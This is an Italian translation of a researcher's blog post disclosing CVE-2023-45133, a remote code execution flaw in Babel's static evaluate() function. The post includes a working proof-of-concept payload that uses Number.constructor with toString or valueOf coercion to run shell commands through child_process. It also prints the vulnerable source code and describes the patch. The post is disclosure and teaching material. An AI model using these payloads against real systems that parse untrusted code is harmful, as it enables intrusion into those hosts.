Vai al contenuto principale

CVE-2023-45133: Scoperta di una Vulnerabilità di Esecuzione Arbitraria del Codice in Babel

· Lettura di 11 min
Traduzione Beta Non Ufficiale

Questa pagina è stata tradotta da PageTurner AI (beta). Non ufficialmente approvata dal progetto. Hai trovato un errore? Segnala problema →

Il 10 ottobre 2023 ho individuato una vulnerabilità di esecuzione arbitraria del codice in Babel, successivamente identificata come CVE-2023-45133. In questo articolo vi guiderò attraverso il percorso che ha portato alla scoperta e allo sfruttamento di questo intrigante difetto.

consiglio

Questo articolo è stato originariamente pubblicato sul blog di William Khem Marquez. Ha inoltre pubblicato una serie sull'uso di Babel per deoffuscare codice JavaScript: dateci un'occhiata!

Gli utenti di Babel per reverse engineering/deoffuscamento del codice apprezzano questo strumento per la ricca funzionalità integrata. Una delle caratteristiche più utili è la capacità di valutare staticamente le espressioni mediante path.evaluate() e path.evaluateTruthy(). Ne ho parlato nei precedenti articoli:

Aspetta, ho detto valutare staticamente?

Lo Sfruttamento della Vulnerabilità

Prima di approfondire i dettagli, esaminiamo la proof of concept che ho sviluppato:

Proof of Concept

const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;

const source = `String({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;

const ast = parser.parse(source);

const evalVisitor = {
Expression(path) {
path.evaluate();
},
};

traverse(ast, evalVisitor);

Questa semplicemente restituisce il risultato del comando id nel terminale, come mostrato di seguito.

┌──(kali㉿kali)-[~/Babel RCE]
└─$ node exploit.js
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)

Naturalmente, il payload può essere modificato per eseguire qualsiasi operazione, come esfiltrare dati o creare una reverse shell.

😁

Analisi dello Sfruttamento

Per comprendere il funzionamento di questa vulnerabilità, dobbiamo analizzare il codice sorgente della funzione responsabile, evaluate. Il codice sorgente di babel-traverse/src/path/evaluation.ts antecedente alla patch è archiviato qui

/**
* Walk the input `node` and statically evaluate it.
*
* Returns an object in the form `{ confident, value, deopt }`. `confident`
* indicates whether or not we had to drop out of evaluating the expression
* because of hitting an unknown node that we couldn't confidently find the
* value of, in which case `deopt` is the path of said node.
*
* Example:
*
* t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
* t.evaluate(parse("!true")) // { confident: true, value: false }
* t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
*
*/

export function evaluate(this: NodePath): {
confident: boolean;
value: any;
deopt?: NodePath;
} {
const state: State = {
confident: true,
deoptPath: null,
seen: new Map(),
};
let value = evaluateCached(this, state);
if (!state.confident) value = undefined;

return {
confident: state.confident,
deopt: state.deoptPath,
value: value,
};
}

Quando evaluate viene invocata su un NodePath, attraversa il wrapper evaluatedCached prima di raggiungere la funzione _evaluate che svolge il lavoro principale. È proprio in _evaluate che risiede la vulnerabilità.

Questa funzione è responsabile della scomposizione ricorsiva dei nodi AST finché non raggiunge un'operazione atomica valutabile con certezza. La maggior parte dei casi base valuta esclusivamente operazioni atomiche (come espressioni binarie tra due letterali). Esistono tuttavia alcune eccezioni a questa regola.

I due frammenti di codice sorgente rilevanti sono la gestione delle call expression e delle object expression, come mostrato di seguito:

Codice Sorgente Vulnerabile

Relevant _evaluate source code
const VALID_OBJECT_CALLEES = ["Number", "String", "Math"] as const;
const VALID_IDENTIFIER_CALLEES = [
"isFinite",
"isNaN",
"parseFloat",
"parseInt",
"decodeURI",
"decodeURIComponent",
"encodeURI",
"encodeURIComponent",
process.env.BABEL_8_BREAKING ? "btoa" : null,
process.env.BABEL_8_BREAKING ? "atob" : null,
] as const;

const INVALID_METHODS = ["random"] as const;

function isValidObjectCallee(
val: string
): val is (typeof VALID_OBJECT_CALLEES)[number] {
return VALID_OBJECT_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}

function isValidIdentifierCallee(
val: string
): val is (typeof VALID_IDENTIFIER_CALLEES)[number] {
return VALID_IDENTIFIER_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}

function isInvalidMethod(val: string): val is (typeof INVALID_METHODS)[number] {
return INVALID_METHODS.includes(
// @ts-expect-error val is a string
val
);
}

function _evaluate(path: NodePath, state: State): any {
/** snip **/
if (path.isObjectExpression()) {
const obj = {};
const props = path.get("properties");
for (const prop of props) {
if (prop.isObjectMethod() || prop.isSpreadElement()) {
deopt(prop, state);
return;
}
const keyPath = (prop as NodePath<t.ObjectProperty>).get("key");
let key;
// @ts-expect-error todo(flow->ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded
if (prop.node.computed) {
key = keyPath.evaluate();
if (!key.confident) {
deopt(key.deopt, state);
return;
}
key = key.value;
} else if (keyPath.isIdentifier()) {
key = keyPath.node.name;
} else {
key = (
keyPath.node as t.StringLiteral | t.NumericLiteral | t.BigIntLiteral
).value;
}
const valuePath = (prop as NodePath<t.ObjectProperty>).get("value");
let value = valuePath.evaluate();
if (!value.confident) {
deopt(value.deopt, state);
return;
}
value = value.value;
// @ts-expect-error key is any type
obj[key] = value;
}
return obj;
}

/** snip **/
if (path.isCallExpression()) {
const callee = path.get("callee");
let context;
let func;

// Number(1);
if (
callee.isIdentifier() &&
!path.scope.getBinding(callee.node.name) &&
(isValidObjectCallee(callee.node.name) ||
isValidIdentifierCallee(callee.node.name))
) {
func = global[callee.node.name];
}

if (callee.isMemberExpression()) {
const object = callee.get("object");
const property = callee.get("property");

// Math.min(1, 2)
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}

// "abc".charCodeAt(4)
if (object.isLiteral() && property.isIdentifier()) {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)
const type = typeof object.node.value;
if (type === "string" || type === "number") {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type
context = object.node.value;
func = context[property.node.name];
}
}
}

if (func) {
const args = path
.get("arguments")
.map((arg) => evaluateCached(arg, state));
if (!state.confident) return;

return func.apply(context, args);
}
}
/** snip **/
}

Gestione delle Call Expression

La prima cosa da comprendere è che sebbene le call expression possano essere valutate, sono soggette a un controllo di whitelist basato sugli array VALID_OBJECT_CALLEES o VALID_IDENTIFIER_CALLEES.

Inoltre, esistono tre casi per la gestione delle call expression:

  1. Quando il callee è un identificatore e tale identificatore è presente nella whitelist di VALID_OBJECT_CALLEES o VALID_IDENTIFIER_CALLEES.

  2. Quando il callee è una member expression, l'oggetto è un identificatore, tale identificatore è nella whitelist di VALID_OBJECT_CALLEES e la proprietà non è nella blacklist di INVALID_METHODS.

  3. Quando la funzione chiamata è un'espressione di membro, l'oggetto è un letterale e la proprietà è un letterale di tipo stringa/numerico.

Il caso più interessante è il secondo:

if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}

/** snip **/
if (func) {
const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
if (!state.confident) return;

return func.apply(context, args);
}

L'unico metodo nella lista nera è random, che appartiene all'oggetto Math. Ciò significa che qualsiasi altro metodo degli oggetti Number, String o Math (tutti nella lista bianca) può essere referenziato direttamente.

In JavaScript, tutte le classi sono funzioni. Poiché Number e String sono classi globali di JavaScript, la loro proprietà constructor punta al costruttore Function.

Pertanto, le due espressioni seguenti sono equivalenti:

Number.constructor('javascript_code_here;');
Function('javascript_code_here;');

Passare una stringa arbitraria al costruttore Function restituisce una funzione che valuterà la stringa fornita come codice JavaScript quando viene chiamata.

Il nodo AST generato da Number.constructor('javascript_code_here;') contiene:

  • Un'espressione di chiamata, dove:
    • La funzione chiamata è un'espressione di membro, dove:
      • L'oggetto è un identificatore, con nome nella lista bianca di VALID_OBJECT_CALLEES
      • La proprietà è un identificatore, non nella lista nera di INVALID_METHODS
    • Gli argomenti sono un singolo letterale stringa, contenente il codice da eseguire.

Pertanto, il codice è considerato sicuro da valutare, e abbiamo creato con successo una funzione malevola.

Tuttavia, è cruciale notare che questo non può chiamare la funzione autonomamente. Crea soltanto una funzione anonima.

Quindi, come possiamo effettivamente chiamare la funzione? È qui che entra in gioco il secondo pezzo del puzzle: le espressioni oggetto.

Gestione delle espressioni oggetto

All'interno del metodo _evaluate di Babel, un nodo ObjectExpression viene sottoposto a valutazione ricorsiva, producendo un vero oggetto JavaScript. Non ci sono limitazioni sui nomi delle chiavi per ObjectProperty. Finché ogni figlio ObjectProperty nell'ObjectExpression restituisce confident: true da _evaluate(), possiamo ottenere un oggetto JavaScript con chiavi/valori personalizzati.

Una proprietà chiave da sfruttare è toString (Riferimento MDN). Definendo questa proprietà su un oggetto come una funzione da noi controllata, possiamo eseguire codice arbitrario quando l'oggetto viene convertito in stringa.

Questo è esattamente ciò che facciamo nel payload:

String(({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));

Abbiamo assegnato la nostra funzione malevola, creata tramite il costruttore Function, alla proprietà toString dell'oggetto. Pertanto, quando questo oggetto viene convertito in stringa, la funzione viene attivata ed eseguita.

Nell'esempio fornito, passiamo l'oggetto alla funzione String, dato il suo stato di funzione nella lista bianca (menzionata nel caso 1). Tuttavia, il costruttore String non è obbligatorio. La coercizione di tipo implicita in JavaScript può anche attivare la nostra funzione malevola, come dimostrato in questi formati alternativi di payload:

""+(({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
1+(({  valueOf: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));

Il primo esempio impiega la coercizione di tipo per trasformare l'oggetto in una stringa. Al contrario, il secondo esempio utilizza la coercizione di tipo per convertirlo in un numero, come dettagliato in Object.prototype.valueOf(). Entrambi gli esempi sfruttano l'approccio del metodo _evaluate() nella gestione dei nodi BinaryExpression, che esegue direttamente l'operazione dopo aver valutato ricorsivamente gli operandi sinistro e destro.

La Patch

Dopo aver segnalato questa vulnerabilità, sono rimasto colpito dalla rapida risposta del team di Babel, che ha prontamente rilasciato una patch. Questa patch è stata distribuita in due parti:

Il primo è stato un workaround per tutti i pacchetti ufficiali di Babel interessati, proteggendo le chiamate a evalute() con un controllo isPure(). isPure previene intrinsecamente questo bug poiché restituisce false per tutti i nodi MemberExpression. PR #16032: Update babel-polyfills packages

Il passo successivo ha comportato il perfezionamento della funzione evaluate(). Questo aggiustamento ha garantito che tutti i metodi ereditati, non solo constructor, fossero bloccati dalle chiamate. PR #16033: Only evaluate own String/Number/Math methods

Dopo l'implementazione delle correzioni, lo staff di GitHub ha rilasciato CVE-2023-45133 per l'avviso di sicurezza.

Una nota sulla tempistica di divulgazione

Avrete notato che questo articolo è stato pubblicato lo stesso giorno dell'avviso di sicurezza. Solitamente per vulnerabilità critiche è consuetudine attendere prima di divulgare un proof of concept. Tuttavia, ritengo che questa tempistica sia giustificabile per diverse ragioni:

Principalmente, la stragrande maggioranza degli utenti di Babel non è interessata da questa vulnerabilità. Babel viene utilizzato principalmente per refactoring e transpilazione di codice proprio, il che significa che il caso d'uso tipico non espone gli utenti a questo rischio. È improbabile che molti abbiano implementazioni server-side che accettano ed elaborano codice arbitrario dagli utenti tramite plugin di compilazione o l'invocazione di path.evaluate. Inoltre, esistono davvero solo un paio di casi d'uso realistici per analizzare codice non attendibile con Babel lato server:

  1. Reverse engineering di software di mitigazione bot, ecc.

  2. Analisi di malware

Nel primo caso, dubito che qualsiasi entità legittima di mitigazione bot tenterebbe una Remote Code Execution (RCE) per le implicazioni legali. Nel frattempo, i professionisti che usano Babel per analisi malware possiedono l'esperienza per condurre le loro ricerche in ambienti controllati e sandbox. Pertanto, il rischio per la comunità negli scenari reali rimane minimo.

Conclusione

Scoprire e approfondire questa vulnerabilità è stata un'esperienza stimolante. Mi sono imbattuto inizialmente nella vulnerabilità durante una sessione di brainstorming per una challenge basata su Babel nella prossima competizione capture the flag di UofTCTF, dove mi stavo concentrando su un "bug" completamente diverso e non correlato alla sicurezza.

Questa vulnerabilità colpisce prevalentemente chi integra codice non attendibile con Babel. Sfortunatamente, ciò pone chi utilizza Babel per "deoffuscamento statico" direttamente nel mirino di questo vettore d'attacco.

C'è un certo grado di ironia nel fatto che la mia prima CVE accreditata sia emersa dal reverse engineering di Babel - lo stesso strumento che spesso utilizzo per il reverse engineering JavaScript e l'argomento di tutti i miei post precedenti 🤣.

È stata un'ottima esperienza di apprendimento, e spero che questo articolo vi sia stato utile. Grazie per la lettura e abbiate cura di voi!

Riferimenti